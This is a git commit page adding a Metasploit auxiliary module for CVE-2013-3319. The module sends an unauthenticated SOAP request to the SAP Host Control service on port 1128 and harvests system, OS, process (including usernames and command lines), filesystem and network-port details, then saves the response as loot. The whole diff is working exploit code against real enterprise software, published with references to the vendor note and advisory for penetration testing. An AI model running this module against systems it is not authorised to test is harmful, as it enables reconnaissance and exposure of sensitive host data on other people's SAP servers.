metasploit module for CVE-2013-3319 / SAP Security Note 1816536
Note: only tested on SAP running on Windows, but should equally work on vulnerable linux/*nix versions.bug/bundler_fix
Bruno Morisson
parent
529471ed53
commit
acb236006c
|
|
@ -0,0 +1,269 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Host Agent Information Disclosure',
|
||||
'Description' => %q{
|
||||
This module attempts to retrieve Computer and OS info from Host Agent
|
||||
through the SAP HostControl service
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
['CVE', '2013-3319'],
|
||||
['URL', 'https://service.sap.com/sap/support/notes/1816536'],
|
||||
['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Bruno Morisson <bm[at]integrity.pt>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1128)
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([1128])
|
||||
deregister_options('RHOST')
|
||||
deregister_options('VHOST')
|
||||
deregister_options('URI')
|
||||
|
||||
end
|
||||
|
||||
def run_host(rhost)
|
||||
|
||||
rport = datastore['RPORT']
|
||||
|
||||
print_status("Connecting to SAP Host Control service on #{rhost}:#{rport}")
|
||||
|
||||
success = false
|
||||
fault = false
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>'
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
|
||||
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
|
||||
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
|
||||
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
|
||||
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
|
||||
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
|
||||
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
|
||||
|
||||
begin
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
if res and res.code == 200
|
||||
|
||||
print_good("Got response from server, parsing...")
|
||||
|
||||
env = []
|
||||
saptbl =[]
|
||||
totalitems=0
|
||||
|
||||
saptbl[0] = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Computer Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Names",
|
||||
"Hostnames",
|
||||
"IPAddresses"
|
||||
])
|
||||
|
||||
saptbl[1] = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote OS Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"Type",
|
||||
"Version",
|
||||
"TotalMemSize",
|
||||
"Load Avg 1m",
|
||||
"Load Avg 5m",
|
||||
"Load Avg 15m",
|
||||
"CPUs",
|
||||
"CPU User",
|
||||
"CPU Sys",
|
||||
"CPU Idle"
|
||||
])
|
||||
|
||||
saptbl[2] = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Process Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
["Name",
|
||||
"PID",
|
||||
"Username",
|
||||
"Priority",
|
||||
"Size",
|
||||
"Pages",
|
||||
"CPU",
|
||||
"CPU Time",
|
||||
"Command"
|
||||
])
|
||||
|
||||
saptbl[3] = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Filesystem Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
["Name",
|
||||
"Size",
|
||||
"Available",
|
||||
"Remote"
|
||||
])
|
||||
|
||||
saptbl[4] = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Network Port Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
["ID",
|
||||
"PacketsIn",
|
||||
"PacketsOut",
|
||||
"ErrorsIn",
|
||||
"ErrorsOut",
|
||||
"Collisions"
|
||||
])
|
||||
|
||||
mxml = REXML::Document.new(res.body)
|
||||
|
||||
itsamcs = mxml.elements.to_a("//mProperties/") # OS info
|
||||
|
||||
itsam = mxml.elements.to_a("//item/mProperties/") # all other info
|
||||
|
||||
|
||||
itsamcs.each { |name|
|
||||
tbl =[]
|
||||
body = "#{name}"
|
||||
env = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix)
|
||||
|
||||
if env
|
||||
|
||||
totalitems +=1
|
||||
|
||||
if ("#{env}" =~ /ITSAMComputerSystem/)
|
||||
|
||||
env.each do |m|
|
||||
tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
|
||||
end
|
||||
|
||||
saptbl[0] << [tbl[0], tbl[1], tbl[2]]
|
||||
success = true # we have at least one response
|
||||
end
|
||||
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
itsam.each { |name|
|
||||
tbl =[]
|
||||
# some items have no <mValue>, so we put a dummy with nil
|
||||
body = "#{name}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item")
|
||||
env = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix)
|
||||
|
||||
if env
|
||||
|
||||
totalitems +=1
|
||||
|
||||
env.each do |m|
|
||||
tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
|
||||
end
|
||||
|
||||
case "#{env}"
|
||||
when /ITSAMOperatingSystem/
|
||||
saptbl[1] << [tbl[0], tbl[1], tbl[2], tbl[8], tbl[11], tbl[12], tbl[13], tbl[17], tbl[18]+'%', tbl[19]+'%', tbl[20]+'%']
|
||||
success = true # we have at least one response
|
||||
|
||||
when /ITSAMOSProcess/
|
||||
saptbl[2] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5], tbl[6]+'%', tbl[7], tbl[8]]
|
||||
success = true # we have at least one response
|
||||
|
||||
when /ITSAMFileSystem/
|
||||
saptbl[3] << [tbl[0], tbl[2], tbl[3], tbl[4]]
|
||||
success = true # we have at least one response
|
||||
|
||||
when /ITSAMNetworkPort/
|
||||
saptbl[4] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5]]
|
||||
success = true # we have at least one response
|
||||
end
|
||||
|
||||
end
|
||||
}
|
||||
|
||||
elsif res and res.code == 500
|
||||
if (res.body =~ /<faultstring>(.*)<\/faultstring>/i)
|
||||
faultcode = $1.strip
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("Unable to connect to #{rhost}:#{rport}")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
vprint_good("#{totalitems} items listed")
|
||||
|
||||
saptbl.each do |t|
|
||||
print(t.to_s)
|
||||
end
|
||||
|
||||
p = store_loot(
|
||||
"sap.getcomputersystem",
|
||||
"text/xml",
|
||||
rhost,
|
||||
res.body,
|
||||
"sap_getcomputersystem.xml",
|
||||
"SAP GetComputerSystem XML"
|
||||
)
|
||||
print_status("Response stored in: #{p}")
|
||||
|
||||
elsif fault
|
||||
print_error("#{rhost}:#{rport} - Error code: #{faultcode}")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Failed to parse list")
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue